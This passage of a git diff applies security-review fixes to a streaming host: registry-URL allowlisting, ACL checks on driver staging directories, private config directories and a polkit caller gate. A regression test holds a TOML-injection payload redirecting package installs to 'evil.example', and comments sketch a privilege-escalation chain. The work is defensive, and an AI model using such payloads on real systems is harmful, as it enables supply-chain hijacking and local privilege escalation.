+/// Deliberately a strict allowlist rather than "reject quotes and newlines" — the failure this +/// guards is TOML injection, and a denylist of the delimiters someone remembers is how the original +/// `starts_with("https://")` check came to be the only guard at all. No quote, no whitespace, no +/// control character, no backslash can pass, so `"{scope}" = "{url}"` cannot be closed early. +fn valid_registry_url(url: &str) -> bool { + let Some(rest) = url.strip_prefix("https://") else { + return false; + }; + !rest.is_empty() + && url.len() <= 512 + && rest.chars().all(|c| { + c.is_ascii_alphanumeric() + || matches!( + c, + '-' | '.' + | '_' + | '~' + | ':' + | '/' + | '?' + | '#' + | '[' + | ']' + | '@' + | '!' + | '$' + | '&' + | '\'' + | '(' + | ')' + | '*' + | '+' + | ',' + | ';' + | '=' + | '%' + ) + }) +} + /// Point a package scope at its registry in the plugins dir's `bunfig.toml`. /// /// The runner CLI can do this too (`--registry @scope=URL`), but the store must **not** depend on @@ -149,9 +192,17 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec { /// Idempotent and non-destructive, matching `sdk/src/plugins.ts::ensureBunfig`: a scope already /// mapped to this URL is left alone, one mapped elsewhere is rewritten, unrelated content survives. pub(crate) fn ensure_bunfig_scope(dir: &Path, scope: &str, url: &str) -> Result<()> { - // The scope and URL both come from a signature-verified, field-validated index entry - // (`@`-prefixed, `[a-z0-9._-]`, https), so neither can smuggle a quote or newline into the TOML. - if !index::valid_scoped_pkg(&format!("{scope}/x")) || !url.starts_with("https://") { + // Both halves are hand-formatted into TOML below (`"{scope}" = "{url}"`), so both must be + // proven unable to close the quote. + // + // The scope always was. The URL was not: its only guard was `starts_with("https://")`, and + // `Entry::registry` — unlike `title`/`description`/`author`/`version` — never goes through + // `sanitize`, so everything after the prefix arrived verbatim. A catalog entry whose registry + // read `https://ok/"\n[install]\nregistry = "https://evil/` injected a top-level `[install]` + // table into the file that tells `bun` where to fetch EVERY package from — and it persists + // after the source is deleted, because nothing rewrites this file (2026-08-05 review M-7). + // Sources may be unsigned, so "it came from a verified index" was not a guarantee either. + if !index::valid_scoped_pkg(&format!("{scope}/x")) || !valid_registry_url(url) { bail!("refusing to map scope `{scope}` to `{url}`"); } std::fs::create_dir_all(dir).with_context(|| format!("create {}", dir.display()))?; @@ -679,6 +730,49 @@ mod tests { assert!(!dir.path().join("bunfig.toml").exists()); } + /// TOML injection through the registry URL (2026-08-05 review M-7). `Entry::registry` never + /// goes through `sanitize`, and the old guard was a bare `starts_with("https://")` — so + /// everything after the prefix reached a hand-formatted `"{scope}" = "{url}"` verbatim. The + /// payload that mattered injects a top-level `[install]` table, redirecting every subsequent + /// package resolution, and survives deletion of the source that introduced it. + #[test] + fn bunfig_registry_url_cannot_inject_a_toml_table() { + let dir = tempfile::tempdir().unwrap(); + let injection = "https://ok.example/\"\n[install]\nregistry = \"https://evil.example/"; + assert!( + ensure_bunfig_scope(dir.path(), "@x", injection).is_err(), + "a registry URL that closes the TOML string must be refused" + ); + assert!(!dir.path().join("bunfig.toml").exists()); + + // The individual characters that make it possible, each on its own. + for bad in [ + "https://e/\"quote", + "https://e/\nnewline", + "https://e/\rcarriage", + "https://e/ space", + "https://e/\ttab", + "https://e/back\\slash", + "https://e/nul\0byte", + ] { + assert!( + ensure_bunfig_scope(dir.path(), "@x", bad).is_err(), + "must refuse registry URL {bad:?}" + ); + } + // Real registry URLs — including ports, query strings and percent-escapes — still pass. + for good in [ + "https://git.unom.io/api/packages/unom/npm/", + "https://registry.example.com:8443/npm/", + "https://example.com/npm/?token=abc%20def", + ] { + assert!( + ensure_bunfig_scope(dir.path(), "@x", good).is_ok(), + "must accept registry URL {good:?}" + ); + } + } + /// The name-shape guard is necessary but NOT sufficient — see `mgmt::store::uninstall_plugin`. /// /// `@punktfunk/plugin-kit` is a plugin's *framework*, and it satisfies every syntactic rule diff --git a/crates/punktfunk-host/src/windows/install.rs b/crates/punktfunk-host/src/windows/install.rs index edf96619..2db63728 100644 --- a/crates/punktfunk-host/src/windows/install.rs +++ b/crates/punktfunk-host/src/windows/install.rs @@ -61,6 +61,22 @@ pub fn driver_main(args: &[String]) -> Result<()> { fn driver_install(args: &[String]) -> Result<()> { let dir = PathBuf::from(flag_val(args, "--dir").context("driver install: --dir required")?); + // Everything below this line runs with the caller's privileges — which, on the installer path, + // are SYSTEM/Administrator — and it does three things with the CONTENTS of `dir`: trusts a + // `.cer` into the machine `Root` store, runs `nefconc.exe` from it, and stages an `.inf` into + // the driver store. So the directory is not merely an input, it is code and trust; a stage a + // non-admin can write is a local privilege escalation, whoever passed the flag. + // + // This is the check the 2026-07-05 audit recorded as FIXED (F-8) and which was never actually + // in the tree — re-found by the 2026-08-05 review as H-5, and the payload half of H-4's + // plant-then-elevate chain (`PUNKTFUNK_HOST_CMD=driver install --dir C:\Users\attacker\stage`). + ensure_admin_only_source(&dir).with_context(|| { + format!( + "refusing to install drivers from {} — the staging directory must be writable only by \ + SYSTEM/Administrators", + dir.display() + ) + })?; let gamepad = flag_present(args, "--gamepad"); let (what, res) = if gamepad { ("gamepad", install_gamepad(&dir)) @@ -74,6 +90,163 @@ fn driver_install(args: &[String]) -> Result<()> { Ok(()) } +/// Refuse a driver staging directory that anyone but SYSTEM/Administrators can write. +/// +/// Two conditions, both necessary: +/// - the directory is **owned** by SYSTEM, Administrators, or TrustedInstaller — an owner always +/// retains `WRITE_DAC`, so a non-admin owner can put their own access back no matter what the +/// DACL currently says; +/// - no **allow** ACE grants a write-shaped right to any trustee outside that same set. `CREATOR +/// OWNER` counts as outside: on a directory a non-admin pre-created under `C:\ProgramData`, it is +/// precisely what keeps handing them control of everything inside. +/// +/// Reads the security descriptor directly rather than parsing `icacls` output, which prints +/// *localized account names* — the same class of locale trap this whole module exists to avoid. +#[cfg(windows)] +fn ensure_admin_only_source(dir: &Path) -> Result<()> { + use std::os::windows::ffi::OsStrExt; + use windows::core::PCWSTR; + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT}; + use windows::Win32::Security::{ + EqualSid, GetAce, IsValidSid, ACCESS_ALLOWED_ACE, ACE_HEADER, ACL, + DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID, + }; + + const ACCESS_ALLOWED_ACE_TYPE: u8 = 0; + /// Rights that let a trustee change what we are about to trust and execute: write/append data, + /// write attributes/EA, delete (incl. child delete), and the two that let them rewrite the + /// security descriptor itself. `GENERIC_WRITE`/`GENERIC_ALL` map onto these once mapped, and + /// both generic bits are checked explicitly in case an ACE stores them unmapped. + const WRITE_MASK: u32 = 0x0000_0002 // FILE_WRITE_DATA / FILE_ADD_FILE + | 0x0000_0004 // FILE_APPEND_DATA / FILE_ADD_SUBDIRECTORY + | 0x0000_0010 // FILE_WRITE_EA + | 0x0000_0100 // FILE_WRITE_ATTRIBUTES + | 0x0000_0040 // FILE_DELETE_CHILD + | 0x0001_0000 // DELETE + | 0x0004_0000 // WRITE_DAC + | 0x0008_0000 // WRITE_OWNER + | 0x1000_0000 // GENERIC_ALL + | 0x4000_0000; // GENERIC_WRITE + + if !dir.is_dir() { + bail!("{} is not a directory", dir.display()); + } + let wide: Vec = dir + .as_os_str() + .encode_wide() + .chain(std::iter::once(0)) + .collect(); + + let mut owner = PSID::default(); + let mut dacl: *mut ACL = std::ptr::null_mut(); + let mut sd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: `wide` is NUL-terminated and outlives the call; the out-params are live locals; the + // returned descriptor is the single allocation, LocalFree'd below (owner/dacl point into it). + let rc = unsafe { + GetNamedSecurityInfoW( + PCWSTR(wide.as_ptr()), + SE_FILE_OBJECT, + OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, + Some(&mut owner), + None, + Some(&mut dacl), + None, + &mut sd, + ) + }; + + let verdict = (|| -> Result<()> { + rc.ok().context("GetNamedSecurityInfoW(owner + DACL)")?; + let privileged = privileged_sids()?; + // SAFETY: `owner` points into the descriptor returned above and is valid for this scope. + let is_privileged = |sid: PSID| -> bool { + if sid.is_invalid() || !unsafe { IsValidSid(sid) }.as_bool() { + return false; + } + privileged + .iter() + .any(|p| unsafe { EqualSid(sid, PSID(p.as_ptr().cast_mut().cast())) }.is_ok()) + }; + + if !is_privileged(owner) { + bail!( + "the directory is owned by a non-administrative account, which retains WRITE_DAC \ + and can restore its own access at any time" + ); + } + // A NULL DACL grants everyone everything; an absent one is not "no access". + if dacl.is_null() { + bail!("the directory has a NULL DACL (everyone has full control)"); + } + // SAFETY: `dacl` is a valid ACL inside the descriptor; AceCount bounds the GetAce index. + let count = unsafe { (*dacl).AceCount }; + for i in 0..count as u32 { + let mut ace: *mut core::ffi::c_void = std::ptr::null_mut(); + // SAFETY: i < AceCount, and `ace` is a live out-param. + unsafe { GetAce(dacl, i, &mut ace) }.context("GetAce")?; + // SAFETY: every ACE starts with an ACE_HEADER. + let header = unsafe { *(ace as *const ACE_HEADER) }; + if header.AceType != ACCESS_ALLOWED_ACE_TYPE { + continue; // deny ACEs only ever subtract; audit ACEs grant nothing + } + // SAFETY: an allow ACE is an ACCESS_ALLOWED_ACE, whose SidStart begins the trustee SID. + let allowed = unsafe { &*(ace as *const ACCESS_ALLOWED_ACE) }; + if allowed.Mask & WRITE_MASK == 0 { + continue; // read-only for this trustee — harmless + } + let sid = PSID(std::ptr::addr_of!(allowed.SidStart) as *mut core::ffi::c_void); + if !is_privileged(sid) { + bail!( + "a non-administrative trustee has write access (ACE {i}, mask {:#010x}) — \ + anything staged here can be replaced before it is trusted or executed", + allowed.Mask + ); + } + } + Ok(()) + })(); + + // SAFETY: `sd` is the single LocalAlloc'd descriptor GetNamedSecurityInfoW returned. + unsafe { + let _ = LocalFree(Some(HLOCAL(sd.0))); + } + verdict +} + +/// The SIDs allowed to own or write a driver staging directory: `SYSTEM`, `BUILTIN\Administrators`, +/// and `TrustedInstaller` (which owns much of `%ProgramFiles%`, a perfectly good stage). +#[cfg(windows)] +fn privileged_sids() -> Result>> { + use windows::core::PCWSTR; + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::ConvertStringSidToSidW; + use windows::Win32::Security::{GetLengthSid, PSID}; + + [ + "S-1-5-18", + "S-1-5-32-544", + "S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464", + ] + .iter() + .map(|s| { + let wide: Vec = s.encode_utf16().chain(std::iter::once(0)).collect(); + let mut psid = PSID::default(); + // SAFETY: `wide` is NUL-terminated and outlives the call; psid is a live out-param. + unsafe { ConvertStringSidToSidW(PCWSTR(wide.as_ptr()), &mut psid) } + .with_context(|| format!("ConvertStringSidToSidW({s})"))?; + // SAFETY: psid is a valid SID; copy it out so the caller owns plain bytes. + let len = unsafe { GetLengthSid(psid) } as usize; + let bytes = unsafe { std::slice::from_raw_parts(psid.0 as *const u8, len) }.to_vec(); + // SAFETY: ConvertStringSidToSidW allocates with LocalAlloc. + unsafe { + let _ = LocalFree(Some(HLOCAL(psid.0))); + } + Ok(bytes) + }) + .collect() +} + /// The subject CN both driver-signing certs carry (`build-pf-vdisplay.ps1` / /// `build-gamepad-drivers.ps1`). certutil matches a CertId against the subject, so this is how we /// find our own certs again without parsing any localized output — see `purge_driver_certs`. @@ -454,7 +627,12 @@ fn web_setup(args: &[String]) -> Result<()> { PathBuf::from(flag_val(args, "--app-dir").context("web setup: --app-dir required")?); let pw_file = flag_val(args, "--password-file"); let data_dir = pf_paths::config_dir(); - std::fs::create_dir_all(&data_dir).ok(); + // `create_private_dir`, not `create_dir_all`: this runs at install time, before anything else + // touches the config dir, and the very next line writes the console login password into it. A + // plain `create_dir_all` leaves the inherited `%ProgramData%` ACL, under which BUILTIN\Users may + // create files — so the one call that most needs the hardened directory was the one creating it + // unhardened (2026-08-05 review H-4). + pf_paths::create_private_dir(&data_dir).ok(); // 1. login password set_web_password(&data_dir.join("web-password"), pw_file.as_deref()); diff --git a/crates/punktfunk-host/src/windows/service.rs b/crates/punktfunk-host/src/windows/service.rs index 35e0f06b..efdbb2da 100644 --- a/crates/punktfunk-host/src/windows/service.rs +++ b/crates/punktfunk-host/src/windows/service.rs @@ -1343,14 +1343,26 @@ fn uninstall() -> Result<()> { /// defaults to `auto` — the host picks NVENC (NVIDIA) / AMF (AMD) / QSV (Intel) from the GPU vendor. fn ensure_default_host_env() -> Result<()> { let path = host_env_path(); - if path.exists() { - return Ok(()); - } + // Harden the config dir FIRST, unconditionally — before the `exists()` check, not inside the + // branch that creates the file. + // + // The 2026-08-05 review's H-4: this used to return early when host.env already existed, which + // skipped the very `create_private_dir` whose reason for existing is "so a local user can't + // pre-create it and plant a host.env". `C:\ProgramData` grants BUILTIN\Users add-subdirectory + // plus CREATOR OWNER full control, so an unprivileged user can create `C:\ProgramData\punktfunk`, + // own it, and drop a host.env — and the skip meant the one case the hardening was written for was + // the one case it never ran in. The service then loads that file verbatim into its own SYSTEM + // environment and into the command line it launches (`PUNKTFUNK_HOST_CMD=…`). if let Some(dir) = path.parent() { - // DACL-lock the config dir on creation so a local user can't pre-create it and plant a - // host.env (which feeds the SYSTEM service's env + command line) — security-review #3. pf_paths::create_private_dir(dir).ok(); } + if path.exists() { + // An existing host.env may predate the hardening (or have been planted before it ran), in + // which case it is still owned by whoever created it — and an owner can rewrite the DACL it + // inherited. Re-apply the SYSTEM/Administrators lock to the FILE as well as the directory. + pf_paths::restrict_existing_secret_file(&path); + return Ok(()); + } let default = "# punktfunk host configuration (read by the Windows service).\n\ # KEY=VALUE per line; '#' comments. Restart the service after editing:\n\ # punktfunk-host service stop && punktfunk-host service start\n\ diff --git a/packaging/arch/punktfunk-host.install b/packaging/arch/punktfunk-host.install index efea5722..cba9c207 100644 --- a/packaging/arch/punktfunk-host.install +++ b/packaging/arch/punktfunk-host.install @@ -4,8 +4,17 @@ _ensure_update_group() { getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || true } +_ensure_punktfunk_group() { + # Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Separate from 'input' on + # purpose: writing 'attach' materialises an arbitrary emulated USB device, which is a root-only + # kernel primitive and must not ride on the group users are told to join for gamepads + # (security-review 2026-08-05 M-4). + getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || true +} + post_install() { _ensure_update_group + _ensure_punktfunk_group udevadm control --reload-rules 2>/dev/null || true udevadm trigger --subsystem-match=misc 2>/dev/null || true # Apply the UDP socket-buffer tuning now (also auto-applied at boot by systemd-sysctl). @@ -14,6 +23,9 @@ post_install() { punktfunk-host installed. 1. Add yourself to the 'input' group for virtual gamepads: sudo usermod -aG input "$USER" # then re-login + Only if you want the virtual Steam Deck pad (usbip), ALSO join 'punktfunk': + sudo usermod -aG punktfunk "$USER" + That group can emulate arbitrary USB devices — join it only on a machine you trust. 2. Pick a backend config (gamescope is the no-desktop default on SteamOS/Deck): mkdir -p ~/.config/punktfunk cp /usr/share/punktfunk/host.env.bazzite ~/.config/punktfunk/host.env diff --git a/packaging/debian/build-deb.sh b/packaging/debian/build-deb.sh index 75030405..c5f106a8 100755 --- a/packaging/debian/build-deb.sh +++ b/packaging/debian/build-deb.sh @@ -289,6 +289,11 @@ set -e if [ "$1" = "configure" ]; then # The (empty) opt-in group for web-console-triggered updates — nobody is auto-added. getent group punktfunk-update >/dev/null 2>&1 || addgroup --system punktfunk-update 2>/dev/null || true + # Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': + # writing 'attach' materialises an arbitrary emulated USB device — a root-only kernel + # primitive that must not ride on the group users are told to join for gamepads + # (security-review 2026-08-05 M-4). + getent group punktfunk >/dev/null 2>&1 || addgroup --system punktfunk 2>/dev/null || true # Pick up the /dev/uinput rule without a reboot (best-effort, no-op in containers). udevadm control --reload-rules 2>/dev/null || true udevadm trigger --subsystem-match=misc 2>/dev/null || true @@ -296,6 +301,8 @@ if [ "$1" = "configure" ]; then sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true echo "punktfunk-host installed. Add yourself to the 'input' group for virtual gamepads:" echo " sudo usermod -aG input \"\$USER\" # then re-login" + echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \"\$USER\"" + echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust." echo "Config: mkdir -p ~/.config/punktfunk && cp /usr/share/punktfunk-host/host.env.example ~/.config/punktfunk/host.env" echo "Enable: systemctl --user enable --now punktfunk-host" # Debian ships no active firewall and Ubuntu's ufw is inactive by default; hint whichever is present. diff --git a/packaging/rpm/punktfunk.spec b/packaging/rpm/punktfunk.spec index 43dcfdc4..2a89ee34 100644 --- a/packaging/rpm/punktfunk.spec +++ b/packaging/rpm/punktfunk.spec @@ -554,6 +554,10 @@ update-desktop-database %{_datadir}/applications >/dev/null 2>&1 || : %post # The (empty) opt-in group for web-console-triggered updates — nobody is auto-added. getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || : +# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': writing +# 'attach' materialises an arbitrary emulated USB device — a root-only kernel primitive that must +# not ride on the group users are told to join for gamepads (security-review 2026-08-05 M-4). +getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || : # Reload udev so /dev/uinput picks up the new rule without a reboot (best-effort). udevadm control --reload-rules 2>/dev/null || : udevadm trigger --subsystem-match=misc 2>/dev/null || : @@ -561,6 +565,8 @@ udevadm trigger --subsystem-match=misc 2>/dev/null || : # it takes effect on the next boot into the layered deployment). sysctl -p %{_prefix}/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || : echo "punktfunk installed. Add yourself to the 'input' group (sudo usermod -aG input \$USER)" +echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \$USER" +echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust." echo "then enable the host: systemctl --user enable --now punktfunk-host" echo "Config: cp %{_datadir}/%{name}/host.env.bazzite ~/.config/punktfunk/host.env" # Fedora/RHEL run firewalld by default — point the way to the installed service definitions. @@ -584,7 +590,10 @@ fi echo "punktfunk-web installed. Enable the console for your user:" echo " systemctl --user enable --now punktfunk-web" echo "A login password is generated on first start — read it with:" -echo " journalctl --user -u punktfunk-web-init | sed -n 's/.*password generated: //p'" +# From the 0600 file, NOT the journal: the journal is persistent and group-readable (adm / +# systemd-journal on Debian-family, and this hint was copied around), so telling people to fish a +# password out of it published the secret to every member of those groups (review 2026-08-05 L-18). +echo " cut -d= -f2- \${XDG_CONFIG_HOME:-\$HOME/.config}/punktfunk/web-password" echo "Then open https://:47992" %endif diff --git a/scripts/60-punktfunk.rules b/scripts/60-punktfunk.rules index 1c1c6357..de9a8595 100644 --- a/scripts/60-punktfunk.rules +++ b/scripts/60-punktfunk.rules @@ -14,9 +14,19 @@ KERNEL=="uhid", SUBSYSTEM=="misc", OPTIONS+="static_node=uhid", GROUP="input", M # usbip vhci attach/detach for the virtual Steam Deck controller. Steam Input only # adopts the virtual Deck when it arrives as a USB device (usbip/vhci or raw_gadget); # the UHID fallback has no USB interface and Steam ignores it. The sysfs attach files -# are root-only by default while the host runs as a user service — grant the `input` -# group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf). -ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp input /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'" +# are root-only by default while the host runs as a user service — grant the dedicated +# `punktfunk` group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf). +# +# ⚠ This is deliberately NOT the `input` group (2026-08-05 review M-4). Writing `attach` hands the +# kernel a caller-supplied socket fd and materialises an arbitrary, fully userspace-emulated USB +# device — a root-only kernel primitive. Every packaging scriptlet tells the user to +# `usermod -aG input $USER` as step 1, so putting it on `input` handed that primitive to a group +# people are routinely told to join: a member could present a HID keyboard and inject keystrokes +# into a root TTY or the lock screen, or drive any of hundreds of in-tree USB drivers from +# userspace, all without CAP_SYS_ADMIN. The uinput/uhid grants above are already systemwide input +# injection, but neither reaches kernel USB enumeration — this one does, so it gets its own group +# that nothing else asks users to join. +ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp punktfunk /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'" # hidraw access for the VIRTUAL pads this host creates. Steam/SDL drive a DualSense's rich # feedback (adaptive triggers, lightbar, player LEDs) exclusively over hidraw — the kernel has no diff --git a/scripts/headless/run-headless-kde.sh b/scripts/headless/run-headless-kde.sh index 07df33c5..0bf9879c 100755 --- a/scripts/headless/run-headless-kde.sh +++ b/scripts/headless/run-headless-kde.sh @@ -52,7 +52,19 @@ fi # it `kwin_wayland --virtual` brings up NO X server at all (no display reserved), and those apps die # with "Missing X Server or $DISPLAY". KWin starts Xwayland on demand but reserves + logs the X11 # display up front, which the detection below reads. -KWIN_LOG="${TMPDIR:-/tmp}/punktfunk-kwin.log" +# The log lives in the per-user 0700 XDG_RUNTIME_DIR, not at a fixed name in a world-writable +# /tmp. This file is not just a log: the DISPLAY detection below GREPS it for "Using public X11 +# display :N" and exports the result, so at a predictable path in a shared directory any local user +# could pre-create it (or symlink it) and steer the DISPLAY of a shipped systemd service +# (2026-08-05 review L-15). `pf-vdisplay` already resolves XDG_RUNTIME_DIR for its own paths; this +# matches. Without a runtime dir, fall back to a private mktemp rather than a guessable name. +if [[ -n "${XDG_RUNTIME_DIR:-}" && -d "${XDG_RUNTIME_DIR}" ]]; then + KWIN_LOG="${XDG_RUNTIME_DIR}/punktfunk-kwin.log" + : >"$KWIN_LOG" + chmod 600 "$KWIN_LOG" +else + KWIN_LOG="$(mktemp -t punktfunk-kwin.XXXXXXXX.log)" +fi kwin_wayland --virtual --xwayland --width "$W" --height "$H" --no-lockscreen \ --socket "$WAYLAND_DISPLAY" >"$KWIN_LOG" 2>&1 & KWIN_PID=$! diff --git a/scripts/io.unom.punktfunk.dm-helper.policy b/scripts/io.unom.punktfunk.dm-helper.policy index a63598c3..529ad907 100644 --- a/scripts/io.unom.punktfunk.dm-helper.policy +++ b/scripts/io.unom.punktfunk.dm-helper.policy @@ -11,7 +11,14 @@ grant is scoped to the box's own local-seat session lifecycle — the same class of operation these distros already authorize for their session switcher (e.g. Nobara's os-session-select, allow_any). allow_any because the host commonly runs sessionless (a - lingering user unit, no polkit agent), where interactive auth can never be answered. --> + lingering user unit, no polkit agent), where interactive auth can never be answered. + + ⚠ These defaults authorize every local subject — including a seatless ssh session or a + service account — so they are NOT the whole authorization story (2026-08-05 review L-14). + They cannot be tightened without breaking the lingering-user-unit deployment, which polkit + classifies under allow_any precisely because it has no session. The actual gate is in the + helper: pf-dm-helper refuses any caller whose PKEXEC_UID is not in the `punktfunk` group. + Keep the two in step — loosening the helper's check makes these defaults load-bearing. --> Stop or restore the display manager for a Punktfunk stream Authentication is required to switch the display manager for a Punktfunk stream diff --git a/scripts/pf-dm-helper b/scripts/pf-dm-helper index fa002095..f389e46c 100644 --- a/scripts/pf-dm-helper +++ b/scripts/pf-dm-helper @@ -13,6 +13,38 @@ # local-seat operation, not arbitrary unit management. set -eu +# The polkit action has to stay permissive (`allow_any=yes`): the host commonly runs as a LINGERING +# user unit, which has no logind session at all, so polkit classifies it under `allow_any` and any +# stricter default would make the takeover unauthorizable in its primary deployment. The cost of +# that is that polkit alone authorizes *every* local subject — a seatless ssh session, a service +# account — to run this as root (2026-08-05 review L-14). +# +# So the authorization decision is made HERE instead, where the caller is knowable: pkexec sets +# PKEXEC_UID from the authenticated caller, and only a member of the `punktfunk` group (created by +# the packages) may proceed. That keeps the sessionless host working while making membership of one +# explicit group — not merely "has a local uid" — the thing that grants these verbs. +require_authorized_caller() { + uid=${PKEXEC_UID:-} + [ -n "$uid" ] || { + echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to run unauthenticated" >&2 + exit 1 + } + user=$(getent passwd "$uid" | cut -d: -f1) || user= + [ -n "$user" ] || { + echo "pf-dm-helper: PKEXEC_UID $uid resolves to no local user — refusing" >&2 + exit 1 + } + # `id -nG` lists the primary group too, so a user whose primary group IS punktfunk also passes. + for g in $(id -nG "$user" 2>/dev/null); do + [ "$g" = punktfunk ] && return 0 + done + echo "pf-dm-helper: user '$user' is not in the 'punktfunk' group — refusing." >&2 + echo " Grant it with: sudo usermod -aG punktfunk $user (then re-login)" >&2 + exit 1 +} + +require_authorized_caller + dm_unit() { target=$(readlink /etc/systemd/system/display-manager.service) || { echo "pf-dm-helper: no display-manager.service alias — no display manager to manage" >&2 @@ -40,13 +72,9 @@ case "${1-}" in # what breaks that dependency (the setup docs already ask for it). # # The user is NEVER caller-named: PKEXEC_UID is set by pkexec from the authenticated caller, - # so this grant enables lingering for that caller alone. - uid=${PKEXEC_UID:-} - [ -n "$uid" ] || { - echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to guess a user" >&2 - exit 1 - } - exec loginctl enable-linger "$uid" + # so this grant enables lingering for that caller alone. (Its presence is already checked by + # `require_authorized_caller` above, which also proved the caller is in the punktfunk group.) + exec loginctl enable-linger "${PKEXEC_UID}" ;; *) echo "usage: pf-dm-helper stop|restore|linger" >&2 diff --git a/scripts/steamdeck/install.sh b/scripts/steamdeck/install.sh index 0af0f61a..622d972c 100755 --- a/scripts/steamdeck/install.sh +++ b/scripts/steamdeck/install.sh @@ -185,6 +185,11 @@ ok "plugin runner: ~/.local/bin/punktfunk-scripting" # --- 3. config ------------------------------------------------------------- log "Configuration ($CONFIG)" mkdir -p "$CONFIG" +# Owner-only: this directory holds web.env (console password + session secret), the mgmt token and +# the host key. A plain `mkdir -p` leaves it 0755 at the Deck's default umask, so the secrets below +# sat in a world-TRAVERSABLE directory (2026-08-05 review L-19). Matches what the host itself does +# via `pf_paths::create_private_dir`, and is idempotent on an existing dir. +chmod 700 "$CONFIG" 2>/dev/null || true if [ ! -f "$CONFIG/host.env" ]; then cat > "$CONFIG/host.env" <<'EOF' # punktfunk Steam Deck host config (sourced by the punktfunk-host user service). @@ -235,10 +240,16 @@ if [ "$WITH_WEB" = 1 ] && [ ! -f "$CONFIG/web.env" ]; then # `|| true` swallows the SIGPIPE `tr` takes when `head` closes the pipe (pipefail would abort). WEB_PW="$(LC_ALL=C tr -dc 'a-z0-9' /dev/null | head -c 12 || true)" WEB_SECRET="$(LC_ALL=C tr -dc 'A-Za-z0-9' /dev/null | head -c 32 || true)" - cat > "$CONFIG/web.env" < "$CONFIG/web.env" < "$PWFILE") chmod 600 "$PWFILE" 2>/dev/null || true - echo "punktfunk web console login password generated: $PW" - echo "(stored in $PWFILE — open https://:47992 and log in)" + # Do NOT echo the password itself. Anything this script prints is captured by systemd into + # the PERSISTENT journal, which on Debian/Ubuntu is readable by the `adm` and + # `systemd-journal` groups — so printing it published a 0600 secret to every member of them, + # permanently, and the .deb postinst then documented `journalctl` as the way to read it + # (2026-08-05 review L-18). Point at the file instead: it is the same one command, it is + # correctly 0600, and it stays readable only by the user who owns the console. + echo "punktfunk web console login password generated." + echo "Read it with: cut -d= -f2- $PWFILE" + echo "(then open https://:47992 and log in)" fi diff --git a/web/messages/de.json b/web/messages/de.json index c1221d92..1623c7d2 100644 --- a/web/messages/de.json +++ b/web/messages/de.json @@ -270,6 +270,8 @@ "library_field_logo": "Logo-Bild-URL", "library_field_command": "Startbefehl", "library_field_command_help": "Optional. Der Befehl, mit dem der Host diesen Titel startet.", + "library_field_password": "Konsolen-Passwort", + "library_field_password_help": "Ein Startbefehl l\u00e4uft auf dem Host mit deinen Rechten. Best\u00e4tige zum Speichern dein Konsolen-Passwort.", "library_field_platform": "Plattform", "library_field_platform_help": "Das System, auf dem dieser Titel läuft, z. B. PS2, Xbox 360, SNES, PC.", "library_field_description": "Beschreibung", diff --git a/web/messages/en.json b/web/messages/en.json index d4e46593..a73b600a 100644 --- a/web/messages/en.json +++ b/web/messages/en.json @@ -270,6 +270,8 @@ "library_field_logo": "Logo art URL", "library_field_command": "Launch command", "library_field_command_help": "Optional. The command the host runs to launch this title.", + "library_field_password": "Console password", + "library_field_password_help": "A launch command runs on the host as you. Confirm your console password to save it.", "library_field_platform": "Platform", "library_field_platform_help": "The system this title runs on, e.g. PS2, Xbox 360, SNES, PC.", "library_field_description": "Description", diff --git a/web/nitro-entry/bun-https.mjs b/web/nitro-entry/bun-https.mjs index 36db5299..0be57c8d 100644 --- a/web/nitro-entry/bun-https.mjs +++ b/web/nitro-entry/bun-https.mjs @@ -83,6 +83,16 @@ const server = Bun.serve({ // proxied `/api/v1/events` stream (or any other quiet long-lived response) gets cut by us and // reconnects on a loop. 120 s is comfortably above any keep-alive we forward; still overridable. idleTimeout: Number.parseInt(process.env.NITRO_BUN_IDLE_TIMEOUT, 10) || 120, + // Cap the request body an UNAUTHENTICATED peer can make us hold in memory. + // + // `fetch` below buffers the whole body with `await req.arrayBuffer()` before Nitro — and + // therefore before the auth gate — has seen the request, so Bun's 128 MB default was the only + // bound on what a LAN peer could push into console RSS by POSTing to /login (2026-08-05 review + // L-10). Nothing the console legitimately accepts is remotely this large: the biggest real body + // is a hooks/library JSON edit, kilobytes. 4 MiB leaves several orders of headroom and still + // makes the memory cost of an unauthenticated request negligible. + maxRequestBodySize: + Number.parseInt(process.env.NITRO_BUN_MAX_BODY_BYTES, 10) || 4 * 1024 * 1024, // `tls: undefined` ⇒ plain HTTP (dev); otherwise HTTPS over HTTP/1.1. tls, websocket: import.meta._websocket ? ws.websocket : undefined, diff --git a/web/server/routes/_auth/logout.post.ts 